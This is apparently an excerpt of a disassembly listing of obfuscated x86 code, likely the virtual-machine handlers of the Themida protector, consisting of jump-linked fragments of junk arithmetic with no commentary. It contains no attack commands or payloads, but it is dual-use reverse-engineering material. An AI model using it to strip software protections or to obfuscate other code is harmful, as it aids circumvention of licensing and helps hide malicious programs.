		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5605A1:				; CODE XREF: sub_55EDA7+6FB8j
		mov	[esp-1Ah+arg_14+2], edx
		push	[esp-1Ah+arg_18+2]
		jmp	loc_5603EF
; ---------------------------------------------------------------------------


loc_5605AD:				; CODE XREF: sub_55EDA7+B9DBj
		pop	ebp
		push	5258h
		mov	[esp-16h+arg_10+2], ebp
		push	[esp-16h+arg_10+2]
		pop	eax
		push	ebx
		push	esp
		jmp	loc_56A9D1
; ---------------------------------------------------------------------------


loc_5605C1:				; CODE XREF: sub_55EDA7+1936j
		sub	al, bl
		add	al, 2
		push	ebx
		mov	bh, 27h
		sub	al, 5
		sub	al, bh
		add	al, 5
		pop	ebx
		pop	bx
		push	eax
		mov	eax, esp
		jmp	loc_5663C2
; ---------------------------------------------------------------------------


loc_5605D9:				; CODE XREF: sub_55EDA7+EF27j
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		add	esp, 4
		sub	al, dl
		pop	edx
		push	4E70h
		mov	[esp-14h+arg_10], ecx
		sub	esp, 2
		mov	word ptr [esp-10h+arg_C], dx
		jmp	loc_56AED4
; ---------------------------------------------------------------------------


loc_5605FF:				; CODE XREF: sub_55EDA7+ECEFj
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 3ADF2845h
		neg	ebp
		and	ebp, 7C715963h
		or	ebp, 67B63FCEh
		add	ebp, 753C7A09h
		xor	ebp, 0DCF2F9FCh
		add	eax, ebp
		pop	ebp
		jmp	loc_565D56
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 7
		sub	al, 0E8h
		sub	al, bl
		add	al, 0E8h
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edx
		mov	dh, 0D0h
		xchg	cl, dh
		xchg	ah, cl
		not	ah
		xchg	ah, cl
		xor	dh, cl
		xor	cl, dh
		xor	dh, cl
		inc	dh
		push	eax
		mov	ah, 1
		sub	dh, ah
		pop	eax
		add	dh, 0FFh
		push	small 6BF3h
		mov	word ptr [esp-0Ah+arg_4+2], cx
		sub	esp, 4
		mov	[esp-6+arg_0+2], edx
		jmp	loc_5717FC
; ---------------------------------------------------------------------------


loc_56066F:				; CODE XREF: sub_55EDA7-FFj
		pop	esi
		pop	eax
		jmp	loc_56CF7F
; ---------------------------------------------------------------------------


loc_560676:				; CODE XREF: sub_56EA48+E85j
		xchg	edx, [esp-1Ch+arg_18]
		jmp	loc_566F4E
; ---------------------------------------------------------------------------


loc_56067E:				; CODE XREF: sub_55EDA7+D39Aj
		push	ecx
		mov	ecx, 497A776Bh
		push	ebp
		jmp	loc_56454F
; ---------------------------------------------------------------------------


loc_56068A:				; CODE XREF: sub_55EDA7+E0BFj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-14h+arg_10]
		pop	esp
		mov	[esp-18h+arg_14], edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_56C7E6
; ---------------------------------------------------------------------------


loc_5606AB:				; CODE XREF: sub_55EDA7+CDF7j
		or	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp-18h+arg_14], esi
		jmp	loc_5689CD
; ---------------------------------------------------------------------------


loc_5606BC:				; CODE XREF: sub_55EDA7+4E7Ej
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-1Ch+arg_18]
		pop	esp
		mov	[esp-20h+arg_1C], ebp
		jmp	loc_564952
; ---------------------------------------------------------------------------


loc_5606D2:				; CODE XREF: sub_55EDA7+5865j
		add	ecx, 4
		xchg	ecx, [esp-20h+arg_1C]
		pop	esp
		add	al, 27h
		sub	al, 2
		jmp	loc_5605C1
; ---------------------------------------------------------------------------


loc_5606E2:				; CODE XREF: sub_55EDA7+C0DBj
		pop	edi
		push	esi
		mov	esi, ecx
		mov	edi, esi
		mov	esi, [esp-24h+arg_20]
		add	esp, 4
		pop	ecx
		dec	edi
		push	edx
		push	esi
		mov	esi, 78FC7C25h
		mov	edx, esi
		jmp	loc_561C86
; ---------------------------------------------------------------------------


loc_560701:				; CODE XREF: sub_55EDA7+AB48j
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_567A16
; ---------------------------------------------------------------------------


loc_56070E:				; CODE XREF: sub_55EDA7+817Ej
		add	ebp, 4
		jmp	loc_56F3D1
; ---------------------------------------------------------------------------


loc_560719:				; CODE XREF: sub_55EDA7+C267j
		xor	edi, edx
		pop	edx
		xor	esi, edi
		jmp	loc_56CB63
; ---------------------------------------------------------------------------


loc_560723:				; CODE XREF: sub_55EDA7+DD95j
		mov	esp, [esp-2Ch+arg_28]
		jmp	loc_5637F7
; ---------------------------------------------------------------------------


loc_56072B:				; CODE XREF: sub_55EDA7+1D18j
		add	esp, 4
		sub	esp, 4
		mov	[esp-2Ch+arg_28], edi
		push	3FB4h
		mov	[esp-28h+arg_24], edx
		mov	edx, 41F67644h
		jmp	loc_56AE22
; ---------------------------------------------------------------------------


loc_560749:				; CODE XREF: sub_55EDA7+107B5j
		pop	ecx
		jmp	loc_56B400
; ---------------------------------------------------------------------------


loc_56074F:				; CODE XREF: sub_55EDA7+EDB6j
		add	ecx, 4
		xor	ecx, [esp-2Ch+arg_28]
		jmp	loc_5648F0
; ---------------------------------------------------------------------------


loc_56075A:				; CODE XREF: sub_56DF7C+2Dj
		shr	ebx, 6
		or	ebx, 71EF499Eh
		jmp	loc_56297A
; ---------------------------------------------------------------------------


loc_560768:				; CODE XREF: sub_56C986+Dj
		push	ecx
		jmp	loc_566B4D
; ---------------------------------------------------------------------------


loc_56076E:				; CODE XREF: sub_55EDA7+8D7Aj
		add	eax, edx
		mov	edx, [esp-28h+arg_24]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-24h+arg_20]
		pop	esp
		add	eax, 4
		jmp	loc_56F529
; ---------------------------------------------------------------------------


loc_56078B:				; DATA XREF: Themida_:0055DF70o
		mov	ax, word ptr [esp-28h+arg_24]
		jmp	sub_56DF7C
; ---------------------------------------------------------------------------


loc_560794:				; CODE XREF: sub_55EDA7+C5C6j
		push	eax
		push	ecx
		jmp	loc_566AC8
; ---------------------------------------------------------------------------


loc_56079B:				; CODE XREF: sub_55EDA7+156Aj
		pop	cx
		sub	al, dl
		pop	edx
		add	al, dl
		jmp	loc_561AA2
; ---------------------------------------------------------------------------


loc_5607A7:				; CODE XREF: sub_55EDA7+10E35j
		sub	ch, ah
		sub	ch, 2Ah
		pop	ax
		add	ch, 0E7h
		push	ax
		jmp	loc_55EEBC
; ---------------------------------------------------------------------------


loc_5607B8:				; CODE XREF: sub_55EDA7+3B18j
		mov	edx, 5036AAEh
		add	[esp+8], edx
		pop	edx
		push	[esp+0Eh+var_E]
		pop	ebp
		push	edx
		push	esp
		jmp	loc_56C1F2
; ---------------------------------------------------------------------------


loc_5607CD:				; CODE XREF: sub_55EDA7+B96Cj
		pop	esi
		sub	esp, 4
		mov	[esp+16h+var_16], ebx
		push	ecx
		mov	ecx, 637537Fh
		and	ecx, 28FE11C6h
		push	eax
		jmp	loc_56F714
; ---------------------------------------------------------------------------


loc_5607E6:				; CODE XREF: sub_55EDA7+B32Dj
		mov	[esp+1Eh+var_1E], ebp
		push	0B466938h
		mov	ebp, [esp+22h+var_22]
		add	esp, 4
		jmp	loc_5677C4
; ---------------------------------------------------------------------------


loc_5607FC:				; CODE XREF: sub_55EDA7+FFC5j
		shr	eax, 4
		dec	eax
		xor	eax, 24CEA55Bh
		add	edi, eax
		pop	eax
		push	[esp+1Ah+var_1A]
		mov	edx, [esp+1Eh+var_1E]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+22h+var_22]
		jmp	loc_5654A1
; ---------------------------------------------------------------------------


loc_560825:				; CODE XREF: sub_55EDA7+5368j
		push	bx
		mov	bx, 5A0Ah
		add	ax, bx
		pop	bx
		add	ax, si
		push	di
		jmp	loc_55E9BF
; ---------------------------------------------------------------------------


loc_56083A:				; CODE XREF: sub_55EDA7+12A50j
		add	esp, 4
		sub	esi, ebp
		mov	ebp, [esp+20h+var_22+2]
		add	esp, 4
		push	edx
		mov	edx, 58169D1Ch
		add	esi, edx
		jmp	loc_56BF27
; ---------------------------------------------------------------------------


loc_560852:				; CODE XREF: sub_55EDA7+8462j
		push	[esp+20h+var_1E+2]
		pop	ebp
		pop	[esp+20h+var_22+2]
		jmp	loc_561D74
; ---------------------------------------------------------------------------


loc_56085F:				; CODE XREF: sub_55EDA7+4CABj
		mov	eax, [esp+1Ch+var_1E+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ecx
		mov	ecx, 6316207h
		push	ebp
		mov	ebp, 7A1C39CBh
		xor	ecx, ebp
		jmp	loc_56B8E4
; ---------------------------------------------------------------------------


loc_560883:				; CODE XREF: sub_55EDA7+336j
		mov	ax, word ptr [esp+18h+var_1A+2]
		add	esp, 2
		pop	ax
		sub	al, ch
		mov	ecx, [esp+12h+var_12]
		push	edx
		jmp	loc_56C6EF
; ---------------------------------------------------------------------------


loc_560897:				; CODE XREF: sub_56C101+Ej
		sub	ecx, ebp
		mov	ebp, [esp+16h+var_16]
		jmp	loc_565D8E
; ---------------------------------------------------------------------------


loc_5608A1:				; CODE XREF: sub_55EDA7+D054j
		xor	ebp, eax
		pop	eax
		add	ebp, 8AECB302h
		mov	ecx, ebp
		jmp	loc_56413B
; ---------------------------------------------------------------------------


loc_5608B1:				; CODE XREF: sub_55EDA7+6DC5j
		sub	[esp+12h+var_12], ebp
		pop	ebp
		jmp	loc_571579
; ---------------------------------------------------------------------------


loc_5608BA:				; CODE XREF: sub_55EDA7+9CFFj
		add	bl, 0C7h
		add	bl, 0E6h
		sub	bl, 0E9h
		add	bl, al
		add	bl, 0E9h
		sub	bl, 0E6h
		sub	bl, 0C7h
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		jmp	sub_57115D
; ---------------------------------------------------------------------------


loc_5608DC:				; CODE XREF: sub_55EDA7+A6Cj
		add	ebx, 53F44226h
		sub	ebx, 5DD26296h
		mov	ebp, ebx
		jmp	loc_562D7F
; ---------------------------------------------------------------------------


loc_5608EF:				; CODE XREF: sub_55EDA7+917j
		add	ecx, 2F873E5Fh
		sub	ecx, edx
		sub	ecx, 2F873E5Fh
		pop	edx
		push	1157h
		mov	[esp-0Ah+arg_4+2], ebx
		jmp	loc_56FBB0
; ---------------------------------------------------------------------------


loc_56090B:				; CODE XREF: sub_55EDA7+10CA4j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Ah+arg_4+2]
		pop	esp
		push	edx
		push	342Fh
		mov	[esp-6+arg_0+2], eax
		mov	eax, 74F13A4Fh
		not	eax
		shr	eax, 6
		inc	eax
		shl	eax, 1
		shr	eax, 6
		jmp	loc_567A83
; ---------------------------------------------------------------------------


loc_560939:				; CODE XREF: sub_55EDA7+CF0j
		add	edx, 25513C11h
		add	edx, esi
		jmp	loc_56BAEF
; ---------------------------------------------------------------------------


loc_560946:				; CODE XREF: sub_55EDA7-B71j
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		jmp	loc_56817E
; ---------------------------------------------------------------------------


loc_560953:				; CODE XREF: sub_55EDA7+311Cj
		xor	ecx, 0BD059F71h
		xor	edi, ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_562149
; ---------------------------------------------------------------------------


loc_560963:				; CODE XREF: sub_55EDA7+E35Cj
		neg	esi
		inc	esi
		push	eax
		mov	eax, 274C2DC6h
		shr	eax, 6
		push	edx
		mov	edx, 77B03509h
		xor	edx, 49DCE189h
		add	eax, edx
		pop	edx
		sub	esi, eax
		pop	eax
		jmp	loc_565826
; ---------------------------------------------------------------------------


loc_560986:				; CODE XREF: sub_55EDA7+1286Dj
		add	al, dh
		add	al, 0E7h
		add	al, 54h
		jmp	loc_564ECA
; ---------------------------------------------------------------------------


loc_560991:				; CODE XREF: sub_55EDA7+44DFj
		push	edi
		push	4
		mov	edi, [esp+10h+var_12+2]
		jmp	loc_562DD2
; ---------------------------------------------------------------------------


loc_56099F:				; CODE XREF: sub_55EDA7+902Cj
		pop	esi
		pop	[esp+0Ch+var_E+2]
		mov	esp, [esp+8+var_8]
		push	63DAh
		mov	[esp+0Ch+var_E+2], ecx
		jmp	loc_56A2B1
; ---------------------------------------------------------------------------


loc_5609B3:				; CODE XREF: sub_55EDA7+1FC1j
		sub	bl, al
		jmp	loc_572B4A
; ---------------------------------------------------------------------------


loc_5609BA:				; CODE XREF: sub_55EDA7+28j
		mov	eax, 4FE9153Ch
		sub	ebx, eax
		pop	eax
		jmp	loc_56C218
; ---------------------------------------------------------------------------


loc_5609C7:				; CODE XREF: sub_55EDA7+3EE4j
		mov	ebx, 4B9A09F7h
		add	[esp+8], ebx
		pop	ebx
		jmp	loc_5689AB
; ---------------------------------------------------------------------------


loc_5609D6:				; CODE XREF: sub_55EDA7+75Aj
		mov	esi, 54C42AC4h
		add	edx, esi
		jmp	loc_570F95
; ---------------------------------------------------------------------------


loc_5609E2:				; CODE XREF: sub_55EDA7+3371j
		xchg	eax, ebp
		not	ebp
		jmp	loc_56BFCB
; ---------------------------------------------------------------------------


loc_5609EA:				; CODE XREF: sub_55EDA7+D897j
		mov	[esp-10h+arg_C], ebp
		jmp	loc_56F561
; ---------------------------------------------------------------------------


loc_5609F2:				; CODE XREF: sub_55EDA7+D4D9j
		mov	eax, 3FFB18E9h
		and	eax, 60AF2EBEh
		not	eax
		sub	eax, 2834308Dh
		jmp	loc_56D9D8
; ---------------------------------------------------------------------------


loc_560A08:				; CODE XREF: sub_55EDA7+9D5Cj
		add	bl, ah
		mov	eax, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_56D50B
; ---------------------------------------------------------------------------


loc_560A15:				; CODE XREF: sub_55EDA7+76A6j
		shl	ebp, 3
		add	ebp, 1A89512Eh
		xor	ebp, 6F8BEDCDh
		sub	esi, ebp
		pop	ebp
		push	edx
		mov	edx, esi
		mov	eax, edx
		pop	edx
		jmp	loc_5660D4
; ---------------------------------------------------------------------------


loc_560A32:				; CODE XREF: sub_55EDA7+917Dj
		mov	esp, [esp-18h+arg_14]
		add	esi, eax
		jmp	loc_55FBC3
; ---------------------------------------------------------------------------


loc_560A3C:				; CODE XREF: sub_55EDA7+CF5Fj
		add	edi, 4
		push	esi
		jmp	loc_565900
; ---------------------------------------------------------------------------


loc_560A48:				; CODE XREF: sub_55EDA7+696Fj
		shl	edi, 5
		push	ebx
		mov	ebx, 1AA67622h
		shr	ebx, 8
		jmp	loc_5621F0
; ---------------------------------------------------------------------------


loc_560A59:				; CODE XREF: sub_56E1D9+3C8Bj
		add	esi, 0A79AAE34h
		sub	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp-10h+arg_C], edi
		sub	[esp-10h+arg_C], 0AF330B2h
		pop	ecx
		jmp	loc_570522
; ---------------------------------------------------------------------------


loc_560A78:				; CODE XREF: sub_55EDA7+7F7Bj
		mov	esp, [esp-14h+arg_10]
		sar	byte ptr [esp-14h+arg_10], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_560A84:				; CODE XREF: sub_55EDA7+247Ej
		add	ecx, eax
		mov	eax, [esp-10h+arg_C]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 42F57EE7h
		sub	ecx, 68D4030h
		shr	ecx, 7
		add	ecx, 0FF872F87h
		add	eax, ecx
		pop	ecx
		add	eax, 4
		jmp	loc_570774
; ---------------------------------------------------------------------------


loc_560AAC:				; CODE XREF: sub_55EDA7+CC4Bj
		mov	[esp-0Ch+arg_8], edx
		add	[esp-0Ch+arg_8], 2F211064h
		pop	eax
		sub	eax, 2F211064h
		mov	edx, [esp-10h+arg_C]
		jmp	loc_56072B
; ---------------------------------------------------------------------------


loc_560AC4:				; CODE XREF: sub_55EDA7+13931j
		push	ebp
		push	ebx
		push	1862484Ch
		pop	ebx
		sub	ebx, 6F6D4DACh
		shr	ebx, 1
		add	ebx, 0C4C59ACDh
		push	ecx
		mov	ecx, ebx
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5642DD
; ---------------------------------------------------------------------------


loc_560AE5:				; CODE XREF: sub_55EDA7+2B0j
		add	al, bl
		sub	al, 0A3h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp+2Ah+var_2A]
		pop	esp
		mov	[esp+26h+var_26], ecx
		mov	ch, 0CAh
		shl	ch, 6
		neg	ch
		add	ch, 0E2h
		and	ch, 0CFh
		push	cx
		not	byte ptr [esp+28h+var_2A+3]
		pop	cx
		push	edx
		mov	dl, 0D0h
		or	dl, 0D9h
		add	dl, 0CFh
		jmp	loc_563054
; ---------------------------------------------------------------------------


loc_560B25:				; CODE XREF: sub_55EDA7+EA1Fj
		push	4
		pop	esi
		sub	ebx, esi
		pop	esi
		jmp	loc_56B37A
; ---------------------------------------------------------------------------


loc_560B33:				; DATA XREF: Themida_:0055DFC0o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+24h+var_26+2], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_560B42:				; CODE XREF: sub_55EDA7+ACFBj
		add	edi, esi
		jmp	loc_562605
; ---------------------------------------------------------------------------


loc_560B49:				; CODE XREF: sub_55EDA7-477j
		sub	[esp-18h+arg_18], edi
		pop	edi
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_560B53:				; CODE XREF: sub_55EDA7+2EE2j
		mov	edx, [esp-1Ch+arg_18]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5619CA
; ---------------------------------------------------------------------------


loc_560B67:				; CODE XREF: sub_55EDA7+7895j
		and	ebx, 2553448Ch
		add	ebx, 0FFF00004h
		sub	ecx, ebx
		jmp	loc_571972
; ---------------------------------------------------------------------------


loc_560B7A:				; CODE XREF: sub_55EDA7-1EDj
		add	bh, 0ADh
		xor	al, bh
		mov	bx, word ptr [esp-20h+arg_1C]
		push	eax
		push	esp
		pop	eax
		jmp	loc_56A760
; ---------------------------------------------------------------------------


loc_560B8B:				; CODE XREF: sub_55EDA7+B760j
		add	ecx, eax
		jmp	loc_564F14
; ---------------------------------------------------------------------------


loc_560B92:				; CODE XREF: sub_55EDA7+D570j
		push	2F7Fh
		mov	[esp-18h+arg_14], eax
		jmp	loc_5632BB
; ---------------------------------------------------------------------------


loc_560B9F:				; CODE XREF: sub_55EDA7+2B71j
		pop	ebp
		shl	eax, 6
		sub	eax, 0BBF85D62h
		xor	edi, eax
		mov	eax, [esp-1Ch+arg_18]
		add	esp, 4
		mov	edx, edi
		push	[esp-20h+arg_1C]
		jmp	loc_5700E7
; ---------------------------------------------------------------------------


loc_560BBA:				; CODE XREF: sub_55EDA7+ED94j
		pop	esi
		push	edx
		jmp	loc_5713CB
; ---------------------------------------------------------------------------


loc_560BC1:				; CODE XREF: sub_55EDA7+7B7Fj
		mov	[esp-1Ch+arg_18], eax
		push	esp
		jmp	loc_5629C9
; ---------------------------------------------------------------------------


loc_560BCA:				; CODE XREF: sub_55EDA7+462Fj
		pop	ebp
		add	ecx, 4
		xor	ecx, [esp-1Ch+arg_18]
		xor	[esp-1Ch+arg_18], ecx
		xor	ecx, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		push	[esp-1Ch+arg_18]
		mov	edi, [esp-18h+arg_14]
		add	esp, 4
		push	ebx
		jmp	loc_56900C
; ---------------------------------------------------------------------------


loc_560BEC:				; CODE XREF: sub_55EDA7+C276j
		add	esp, 4
		pop	[esp-1Ch+arg_18]
		jmp	loc_57181A
; ---------------------------------------------------------------------------


loc_560BF7:				; CODE XREF: sub_55EDA7+3282j
		sub	esp, 2
		mov	word ptr [esp-1Ch+arg_18], bx
		mov	bh, 3
		push	ebx
		jmp	loc_569FC9
; ---------------------------------------------------------------------------


loc_560C09:				; CODE XREF: sub_55EDA7+3A57j
		add	esp, 4
		sub	esp, 4
		mov	[esp-18h+arg_14], eax
		push	[esp-18h+arg_18]
		mov	eax, [esp-14h+arg_10]
		jmp	loc_56E654
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		jmp	loc_561BA2
; ---------------------------------------------------------------------------


loc_560C25:				; CODE XREF: sub_55EDA7+E9FFj
		xchg	ebp, [esp-10h+arg_C]
		pop	esp
		mov	ecx, [esp-14h+arg_10]
		push	2891h
		jmp	loc_56CB77
; ---------------------------------------------------------------------------


loc_560C36:				; CODE XREF: sub_55EDA7+9B98j
		add	esp, 4
		jmp	loc_5720B3
; ---------------------------------------------------------------------------


loc_560C3E:				; CODE XREF: sub_572AFB-5985j
		add	ebp, 4
		jmp	loc_56B596
; ---------------------------------------------------------------------------


loc_560C46:				; CODE XREF: sub_55EDA7+7ACj
		pop	edi
		inc	esi
		jmp	loc_562722
; ---------------------------------------------------------------------------


loc_560C4D:				; CODE XREF: sub_55EDA7+7155j
		add	esi, ebx
		add	esi, 3720071Dh
		pop	ebx
		jmp	loc_55F644
; ---------------------------------------------------------------------------


loc_560C5B:				; CODE XREF: sub_55EDA7+11E20j
		push	ebx
		mov	bl, 15h
		jmp	loc_55FD3F
; ---------------------------------------------------------------------------


loc_560C63:				; CODE XREF: sub_55EDA7+A842j
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp-1Ch+arg_18]
		pop	esp
		jmp	loc_5622F0
; ---------------------------------------------------------------------------


loc_560C73:				; CODE XREF: sub_55EDA7+11EF2j
		mov	[esp-20h+arg_1C], ecx
		push	1AFE36BFh
		jmp	loc_56887B
; ---------------------------------------------------------------------------


loc_560C80:				; CODE XREF: sub_55EDA7+5485j
		add	ecx, edx
		pop	edx
		push	0
		sub	[esp-1Ch+arg_18], ecx
		pop	ecx
		jmp	loc_572166
; ---------------------------------------------------------------------------


loc_560C91:				; CODE XREF: sub_55EDA7+1068Ej
		push	ebx
		mov	ebx, 63521C1h
		or	ebp, ebx
		pop	ebx
		jmp	loc_56CEAE
; ---------------------------------------------------------------------------


loc_560C9F:				; CODE XREF: sub_55EDA7+975Dj
		mov	edi, [esp-20h+arg_1C]
		jmp	loc_570283
; ---------------------------------------------------------------------------


loc_560CA7:				; CODE XREF: sub_55EDA7+1031Cj
		push	7A55h
		jmp	loc_571A83
; ---------------------------------------------------------------------------


loc_560CB1:				; CODE XREF: sub_55EDA7+EF1Fj
		push	[esp-1Ch+arg_1C]
		jmp	loc_56411A
; ---------------------------------------------------------------------------


loc_560CBA:				; CODE XREF: sub_55EDA7+A09Fj
		sub	edx, 772E31D4h
		add	edx, esi
		push	edi
		mov	edi, 1C864AE5h
		xor	edi, 5CE718C6h
		shl	edi, 2
		shl	edi, 5
		or	edi, 29085C41h
		sub	edi, 0C27B2BEDh
		add	edx, edi
		pop	edi
		sub	edx, 77511717h
		pop	esi
		xchg	edx, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		add	esp, 4
		bt	[esp-20h+arg_1C], eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_560CFD:				; CODE XREF: sub_55EDA7+7E4Cj
		mov	[esp-1Ch+arg_18], ebp
		jmp	loc_567D34
; ---------------------------------------------------------------------------


loc_560D05:				; CODE XREF: sub_55EDA7+EEC1j
		mov	edx, 1BD55A33h
		sub	edx, 1BD55A2Fh
		add	eax, edx
		jmp	loc_563CA5
; ---------------------------------------------------------------------------


loc_560D17:				; CODE XREF: sub_55EDA7+13F02j
		mov	[esp-1Ch+arg_18], ecx
		push	esi
		jmp	loc_56C72A
; ---------------------------------------------------------------------------


loc_560D20:				; CODE XREF: sub_55EDA7+9D52j
		push	789Ah
		mov	[esp-14h+arg_10], ebp
		push	edi
		jmp	loc_567692
; ---------------------------------------------------------------------------


loc_560D2E:				; CODE XREF: sub_55EDA7+D4C8j
		add	esp, 4
		jmp	loc_563237
; ---------------------------------------------------------------------------


loc_560D39:				; CODE XREF: sub_55EDA7+8F3Dj
		push	small 1016h
		mov	word ptr [esp-12h+arg_C+2], cx
		mov	ch, 38h
		push	782h
		mov	[esp-0Eh+arg_8+2], edx
		mov	dl, 6Ah
		add	ch, dl
		push	[esp-0Eh+arg_8+2]
		pop	edx
		add	esp, 4
		push	small 7A94h
		jmp	loc_5678DB
; ---------------------------------------------------------------------------


loc_560D62:				; CODE XREF: sub_55EDA7+136E8j
		add	bl, dl
		pop	edx
		add	bl, 38h
		jmp	loc_5609B3
; ---------------------------------------------------------------------------


loc_560D6D:				; CODE XREF: sub_55EDA7+6F25j
		add	eax, esi
		pop	esi
		sub	eax, 4
		jmp	loc_57032B
; ---------------------------------------------------------------------------


loc_560D7A:				; CODE XREF: sub_55EDA7+8079j
		pop	ebp
		sub	eax, esi
		pop	esi
		push	[esp-20h+arg_1C]
		pop	edx
		add	esp, 4
		sub	eax, ebx
		sub	eax, 6DF84C47h
		push	esi
		mov	esi, 0A4127DCh
		sub	eax, 74811D62h
		add	eax, 485A3760h
		jmp	loc_56370E
; ---------------------------------------------------------------------------


loc_560DA4:				; CODE XREF: sub_55EDA7+10786j
		or	eax, eax
		jz	loc_56815F
		push	dword ptr [edi+28h]
		push	[esp-1Ch+arg_18]
		pop	eax
		sub	esp, 4
		mov	[esp-18h+arg_14], ebp
		push	esp
		mov	ebp, [esp-14h+arg_10]
		push	11DEh
		jmp	loc_5633B3
; ---------------------------------------------------------------------------


loc_560DCA:				; CODE XREF: sub_55EDA7+F420j
		sub	edx, eax
		pop	eax
		add	edx, 77B0738Fh
		pop	ecx
		jmp	loc_569B2B
; ---------------------------------------------------------------------------


loc_560DD9:				; CODE XREF: sub_55EDA7+11B0Aj
		shl	bl, 7
		jmp	loc_56EF36
; ---------------------------------------------------------------------------


loc_560DE1:				; CODE XREF: sub_55EDA7+690Dj
		mov	bl, dh
		jmp	loc_57159B
; ---------------------------------------------------------------------------


loc_560DE8:				; CODE XREF: sub_55EDA7+381Ej
		push	esi
		push	ebx
		push	625F5B89h
		jmp	loc_56ABB8
; ---------------------------------------------------------------------------


loc_560DF4:				; CODE XREF: sub_55EDA7+4808j
		and	edi, 6EBA3B65h
		inc	edi
		add	edi, 67130923h
		xor	ecx, edi
		jmp	loc_57158F
; ---------------------------------------------------------------------------


loc_560E08:				; CODE XREF: sub_55EDA7+8E3j
		push	ebp
		mov	ebp, 7B3F0F6Fh
		mov	edx, ebp
		pop	ebp
		mov	eax, edx
		jmp	loc_55EFE9
; ---------------------------------------------------------------------------


loc_560E18:				; CODE XREF: sub_55EDA7+905j
		xor	edx, [esp-6+arg_0+2]
		pop	esp
		jmp	loc_571AA5
; ---------------------------------------------------------------------------


loc_560E21:				; CODE XREF: sub_55EDA7+9D19j
		mov	ecx, 52D32625h
		or	esi, ecx
		jmp	loc_562342
; ---------------------------------------------------------------------------


loc_560E2D:				; CODE XREF: Themida_:0056D261j
		mov	ebp, esp
		push	edx
		mov	edx, 26DA1270h
		neg	edx
		jmp	loc_55F8E1
; ---------------------------------------------------------------------------


loc_560E3C:				; CODE XREF: sub_55EDA7+7DF4j
		push	eax
		mov	ah, 2
		sub	ah, 62h
		xor	dh, ah
		pop	eax
		jmp	loc_55FD75
; ---------------------------------------------------------------------------


loc_560E4A:				; CODE XREF: sub_55EDA7+B6F6j
		pop	edx
		jmp	loc_5636AA
; ---------------------------------------------------------------------------


loc_560E50:				; CODE XREF: sub_55EDA7+3AF6j
		push	eax
		mov	eax, 0E85265Eh
		push	ebp
		jmp	loc_562275
; ---------------------------------------------------------------------------


loc_560E5C:				; CODE XREF: sub_55EDA7+11A9Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		and	eax, ebx
		jmp	loc_567CB3
; ---------------------------------------------------------------------------


loc_560E77:				; CODE XREF: sub_55EDA7+F85Fj
		sub	ebx, 19983CE4h
		mov	ebp, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_566DF4
; ---------------------------------------------------------------------------


loc_560E88:				; CODE XREF: sub_55EDA7+6D42j
		add	edx, 13786D4Ah
		jmp	loc_569855
; ---------------------------------------------------------------------------


loc_560E93:				; CODE XREF: sub_55EDA7+7FC9j
		pop	[esp+2+var_4+2]
		pop	esp
		sub	esp, 4
		mov	[esp+0], edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		jmp	sub_56F632
; ---------------------------------------------------------------------------


loc_560EB0:				; CODE XREF: sub_55EDA7+A29Ej
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_560EB5:				; CODE XREF: sub_55EDA7+11DE4j
		pop	esp
		jmp	loc_56BDB4
; ---------------------------------------------------------------------------


loc_560EBB:				; CODE XREF: sub_55EDA7+36Bj
		sub	esp, 4
		mov	[esp+30h+var_32+2], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 624753Dh
		shl	ecx, 3
		inc	ecx
		not	ecx
		neg	ecx
		not	ecx
		add	ecx, 3123A9EFh
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_55F163
; ---------------------------------------------------------------------------


loc_560EE4:				; CODE XREF: sub_55EDA7+35E8j
		push	esi
		mov	esi, 49AA7890h
		jmp	loc_5661BB
; ---------------------------------------------------------------------------


loc_560EEF:				; CODE XREF: sub_57041B+8j
		mov	ebp, [esp+34h+var_36+2]
		add	esp, 4
		add	esi, ecx
		jmp	sub_570CF9
; ---------------------------------------------------------------------------


loc_560EFF:				; CODE XREF: sub_55EDA7+10175j
		add	esp, 4
		sub	cl, 9
		sub	bl, cl
